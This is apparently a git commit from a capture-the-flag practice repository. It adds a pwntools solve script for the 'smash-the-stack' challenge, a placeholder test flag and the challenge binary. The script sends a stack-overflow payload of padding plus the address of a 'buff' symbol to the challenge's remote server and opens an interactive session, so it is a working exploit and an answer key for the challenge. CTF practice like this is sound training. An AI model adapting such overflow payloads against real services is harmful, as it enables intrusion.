Finished canary/smash-the-stack
This commit is contained in:
17
canary/smash-the-stack/answer.py
Normal file
17
canary/smash-the-stack/answer.py
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
#!/usr/bin/env python2
|
||||||
|
from pwn import *
|
||||||
|
from LibcSearcher import *
|
||||||
|
from struct import pack
|
||||||
|
import os
|
||||||
|
context(arch = "i386",os = "linux", log_level = "debug")
|
||||||
|
|
||||||
|
p = remote("hackme.inndy.tw", 7717)
|
||||||
|
#p = process('./smash-the-stack')
|
||||||
|
elf = ELF('./smash-the-stack')
|
||||||
|
|
||||||
|
buff_bss = elf.sym['buff']
|
||||||
|
|
||||||
|
payload = 0xbc*'a' + p32(buff_bss)
|
||||||
|
p.sendline(payload)
|
||||||
|
|
||||||
|
p.interactive()
|
||||||
1
canary/smash-the-stack/flag
Normal file
1
canary/smash-the-stack/flag
Normal file
@@ -0,0 +1 @@
|
|||||||
|
flag{this-is-a-test-flag-this-is-a-test-flag}
|
||||||
BIN
canary/smash-the-stack/smash-the-stack
Executable file
BIN
canary/smash-the-stack/smash-the-stack
Executable file
Binary file not shown.
Reference in New Issue
Block a user